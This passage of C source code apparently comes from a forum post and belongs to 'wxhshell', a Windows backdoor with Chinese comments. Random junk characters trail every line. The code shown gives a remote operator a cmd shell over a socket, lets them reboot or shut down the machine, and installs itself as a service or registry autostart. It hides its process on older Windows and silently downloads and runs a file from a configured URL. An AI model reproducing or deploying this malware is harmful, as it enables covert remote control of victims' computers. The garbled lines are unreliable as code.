  else { B)|s.Ez  
l^"G\ZVI  
    switch(cmd[0]) { :ox CF0Y  
  pqr" x2=.  
  // 帮助 zKutx6=aj  
  case '?': { w '"7~uN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zk[#B UA  
    break; :h3JDQe:.  
  } ?l(hS\N,  
  // 安装 ;uDFd04w [  
  case 'i': { {HU48v"W  
    if(Install()) 9e5UTJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); re!CF8 q  
    else l*u@T|Fc$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gkdjH8(2  
    break; [Wh 43Z  
    } x9e 9$ww}  
  // 卸载 E$wB bm  
  case 'r': { )'g vaT  
    if(Uninstall()) u& Fm}/x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MI}D%n*  
    else 4Uiqi{}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R[c_L=  
    break; V_pBM  
    } -*A'6%`  
  // 显示 wxhshell 所在路径 qrkT7f  
  case 'p': { Xy{+=UY  
    char svExeFile[MAX_PATH]; X@)lPr$a  
    strcpy(svExeFile,"\n\r"); K0\WN"ua;  
      strcat(svExeFile,ExeFile); cjXwOk1:s  
        send(wsh,svExeFile,strlen(svExeFile),0); UPYM~c+}  
    break; p"@|2a  
    } f- <6T  
  // 重启 f+V':qz  
  case 'b': { E'G>'cW;x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dc)Gk  
    if(Boot(REBOOT)) ob{pQx7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :m\KQ1sq  
    else { X d6y7s  
    closesocket(wsh); BR2y1Hfi  
    ExitThread(0); U6Ak"  
    } d eg>m?Y  
    break; * 5n:+Tw(  
    } hgK=fHJ k  
  // 关机 5[_8N{QC;  
  case 'd': { L ~w=O!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oK6lCGM5  
    if(Boot(SHUTDOWN)) ja/[PHq"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G$ FBx  
    else { nlW&(cH  
    closesocket(wsh); L|LTsRIq  
    ExitThread(0); kdC OcJB  
    } I8?[@kg5b'  
    break; 8:xo ~Vc  
    } gEP E9ew  
  // 获取shell ]aNnY?qW5  
  case 's': { aTsfl  
    CmdShell(wsh); BvF_9  
    closesocket(wsh); D OeKW  
    ExitThread(0); fXe-U='  
    break; U[l%oLra  
  } ;Oy>-Ij5P  
  // 退出 7h1gU  
  case 'x': { ]'(7T#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \aIy68rH,  
    CloseIt(wsh); <q\) o_tH  
    break; de9l;zF  
    } aUK4{F ;  
  // 离开 D}sGBsOW  
  case 'q': { ,rQ)TT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vc #oALc&  
    closesocket(wsh); ^z^e*<{WEl  
    WSACleanup(); 'hO;sL  
    exit(1); /T[ICd2J  
    break; (PcK(C!}=\  
        } % VpBB  
  } F|TMpH/  
  } e oSM@Isu  
!m(L0YH  
  // 提示信息 #G` ,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bpa O`[*  
} ?VQLY=?  
  } '%C.([  
e8mbEC(AK  
  return; Wx$q:$h@q  
} Fx5d@WNa>  
D1~x  
// shell模块句柄 y[6&46r7D  
int CmdShell(SOCKET sock) WwtE=od  
{ VHr7GAmU  
STARTUPINFO si; f&|A[i>g  
ZeroMemory(&si,sizeof(si)); T% 13 '  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e~.?:7t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nDB 2>J  
PROCESS_INFORMATION ProcessInfo; RS `9?c:  
char cmdline[]="cmd"; 9<h]OXv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'z}M[h K]  
  return 0; UXPegK!  
} 7[v@*/W@  
R{uJczu  
// 自身启动模式 5b1uD>,;y  
int StartFromService(void) E\~ KVn  
{ $KWYe{#  
typedef struct 1"&;1Ts  
{ 3'*%R48P`  
  DWORD ExitStatus; _b_?9b-)D  
  DWORD PebBaseAddress; '&:1?i)  
  DWORD AffinityMask; ?koxt4 4  
  DWORD BasePriority; ?Wg{oB@(  
  ULONG UniqueProcessId; BCUt`;q ]B  
  ULONG InheritedFromUniqueProcessId; 51G=RYay9  
}   PROCESS_BASIC_INFORMATION; J4v0O="  
!\-4gr?`!  
PROCNTQSIP NtQueryInformationProcess; %aH$Tb%`hc  
PN"8 Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =v4r M0m,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  6Z&u  
\} Acq;  
  HANDLE             hProcess; o9Txo (tYU  
  PROCESS_BASIC_INFORMATION pbi; f-3'D-{EKt  
%8bzs?QI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7AO3-; l]  
  if(NULL == hInst ) return 0; Bhu@ 2KdA  
HS\3)Ooj>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wY3|#P CDV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &{E`=4T2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $xA J9_2P  
lH)em.#  
  if (!NtQueryInformationProcess) return 0; w3<"g&n|  
i}`_H^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); * {gxI<   
  if(!hProcess) return 0; Wm)-zvNY;  
s~LZOPN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zj1ZU[BEcL  
au~]  
  CloseHandle(hProcess); XLZ j  
<mZrR3v'D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U=F-] lD  
if(hProcess==NULL) return 0; Q+b.-iWR  
|^Ew<  
HMODULE hMod; =t3vbV  
char procName[255]; +ze}0lrEL  
unsigned long cbNeeded; ]yAEjn9cN  
V$dJmKg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [`.3f'")j  
ls"b#eFC#  
  CloseHandle(hProcess); 5S%C~iB  
[jl2\3*  
if(strstr(procName,"services")) return 1; // 以服务启动 hN gpp-  
-`!_h[   
  return 0; // 注册表启动 Vk-W8[W 7  
} {sC@N![  
2{t)DUs  
// 主模块 dD/t_ {h  
int StartWxhshell(LPSTR lpCmdLine) F!7f_m0=  
{ :1aL9 fT  
  SOCKET wsl; xLx"*jyL  
BOOL val=TRUE; (R_CUH  
  int port=0; -3.UE^W2  
  struct sockaddr_in door; >Hi h  
8[{|xh(  
  if(wscfg.ws_autoins) Install(); I*D<J$ 9N  
2GSgG.%SSM  
port=atoi(lpCmdLine); .OmQ'  
`n 3FT=  
if(port<=0) port=wscfg.ws_port; @Q;i.u{V  
j%pCuC&"  
  WSADATA data; aS,a_b]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i?F[||O"$  
u_N\iCYp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `Kh]x9Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3az$:[Und}  
  door.sin_family = AF_INET; ~|&="K4,:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k/G7.)C  
  door.sin_port = htons(port); !\CG,Ek  
|*:tyP%m^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 42fprt  
closesocket(wsl); 6m9 7_NRO  
return 1; }6).|^]\'  
}  bRNK.[|  
s=MT,  
  if(listen(wsl,2) == INVALID_SOCKET) { /D0RC  
closesocket(wsl); 9b1?W?"  
return 1; 9#uIC7M  
} A2y6UzLYD  
  Wxhshell(wsl); i;c'P}[K  
  WSACleanup(); - %|P  
q]px(  
return 0; t9.,/o,  
|| [89G  
} GuT6K}~|D  
,eDD:#)$}  
// 以NT服务方式启动 T|ZF/&XP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y]N~vD  
{ dIk' pA^d  
DWORD   status = 0; RdgVB G#Z1  
  DWORD   specificError = 0xfffffff; KbAR_T1n  
pTWg m\h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1?(cmXj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }!8nO;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IZ*}idlkn/  
  serviceStatus.dwWin32ExitCode     = 0; QBoFpxh=  
  serviceStatus.dwServiceSpecificExitCode = 0; }f#_4ACaD  
  serviceStatus.dwCheckPoint       = 0; NPm;  
  serviceStatus.dwWaitHint       = 0; Q"%S~&#'  
)CLf;@1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (S|a 9#  
  if (hServiceStatusHandle==0) return; ["a"x>X&  
w?*z^y@  
status = GetLastError(); 6PU/{c  
  if (status!=NO_ERROR) :?=Q39O9  
{ :&qhJtGo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N5? IpE  
    serviceStatus.dwCheckPoint       = 0; >7'+ye6z  
    serviceStatus.dwWaitHint       = 0; ]]TqP{H  
    serviceStatus.dwWin32ExitCode     = status; &vkjmiAS  
    serviceStatus.dwServiceSpecificExitCode = specificError; TQf L%JT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _A{+H^,  
    return; _ 5"+Dv  
  } @'i+ff\  
ZIpD{>/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %<} <'V0  
  serviceStatus.dwCheckPoint       = 0; E1  |<Pt  
  serviceStatus.dwWaitHint       = 0; iA'As%S1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S8" f]5s  
} S`m,S4-eD  
7+nm31,<O  
// 处理NT服务事件,比如:启动、停止 OQp, 3 M{_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +-BwQ{92[:  
{ #DFp[\)1  
switch(fdwControl) Fi2xr<7"  
{ yK1ie  
case SERVICE_CONTROL_STOP: Nxk(mec"  
  serviceStatus.dwWin32ExitCode = 0; "R[l ZJ@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; raE Mm  
  serviceStatus.dwCheckPoint   = 0; icgJ;Q 5  
  serviceStatus.dwWaitHint     = 0; hJ*Ihwn|  
  { E.`6oX\L|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WOX}Sw"  
  } P4k;O?y  
  return; T95t"g?p  
case SERVICE_CONTROL_PAUSE: h|bT)!|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8(f:U@BS  
  break; [AS}RV  
case SERVICE_CONTROL_CONTINUE: m$wlflt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ez+Z[*C  
  break; !eI2 r   
case SERVICE_CONTROL_INTERROGATE: g/~XCC^F?  
  break; sOBu7!G%  
}; CMW,slC_3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y(W|eBe  
} uw AwWgl  
SA;#aj}rV  
// 标准应用程序主函数 ik.A1j9oN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vh|\_~9  
{ V}WB*bE  
Jr;jRe`4c  
// 获取操作系统版本 y<:<$22O  
OsIsNt=GetOsVer(); (MLwQiop  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o-C#|t3hH  
][&9]omB  
  // 从命令行安装 ~P .I<  
  if(strpbrk(lpCmdLine,"iI")) Install(); U{@5*4  
T,%j\0  
  // 下载执行文件 3Ot~!AlR  
if(wscfg.ws_downexe) { )h{ ]k=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;30nd=  
  WinExec(wscfg.ws_filenam,SW_HIDE); uXjP`/R|  
} QHq,/kWY  
he(A3{'  
if(!OsIsNt) { %]2, &  
// 如果时win9x,隐藏进程并且设置为注册表启动 )2IH 5  
HideProc(); d5`3wd]]'v  
StartWxhshell(lpCmdLine); ml`8HXK0  
} J aTp} #  
else A/7{oB:a  
  if(StartFromService()) #S]ER907  
  // 以服务方式启动 2-N 'ya  
  StartServiceCtrlDispatcher(DispatchTable); |yEa5rd?W  
else 9h4({EE2t  
  // 普通方式启动 `-h8vj5uG  
  StartWxhshell(lpCmdLine); 4)|8Eu[p7  
>TkE~7?l  
return 0; -h|B1*mt  
}
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只看该作者 1 发表于: 2006-10-10
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